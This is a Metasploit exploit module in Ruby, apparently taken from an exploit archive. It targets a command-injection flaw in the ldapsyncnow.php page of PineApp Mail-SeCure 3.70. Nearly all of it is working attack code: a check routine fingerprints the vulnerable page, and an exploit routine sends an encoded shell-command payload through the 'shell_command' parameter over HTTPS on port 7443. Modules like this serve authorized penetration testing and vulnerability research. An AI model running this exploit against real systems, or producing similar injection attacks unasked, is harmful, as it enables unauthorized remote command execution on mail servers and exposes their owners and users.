PineApp Mail-SeCure - 'ldapsyncnow.php' Arbitrary Command Execution (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PineApp Mail-SeCure ldapsyncnow.php Arbitrary Command Execution',
      'Description'    => %q{
          This module exploits a command injection vulnerability on PineApp Mail-SeCure
        3.70. The vulnerability exists on the ldapsyncnow.php component, due to the insecure
        usage of the shell_exec() php function. This module has been tested successfully
        on PineApp Mail-SeCure 3.70.
      },
      'Author'         =>
        [
          'Dave Weinstein', # Vulnerability discovery
          'juan vazquez'    # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-185/']
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 1024,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl python telnet'
            }
        },
      'Targets'        =>
        [
          [ 'PineApp Mail-SeCure 3.70', { }]
        ],
      'DefaultOptions' =>
        {
          'SSL' => true
        },
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jul 26 2013'
      ))

    register_options(
      [
        Opt::RPORT(7443)
      ],
      self.class
    )

  end

  def my_uri
    return normalize_uri("/admin/ldapsyncnow.php")
  end

  def check
    # Since atm of writing this exploit there isn't patch available,
    # checking for the vulnerable component should be a reliable test.
    res = send_request_cgi({
      'uri' => my_uri,
      'vars_get' => {
        'sync_now' =>'1'
      }
    })
    if res and res.code == 200 and res.body =~ /window\.setTimeout\('loaded\(\)', 2500\);/
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    print_status("#{rhost}:#{rport} - Executing payload...")
    send_request_cgi({
      'uri' => my_uri,
      'vars_get' => {
        'sync_now' =>'1', # must be 1 in order to trigger the vulnerability
        'shell_command' => payload.encoded
      }
    })
  end

end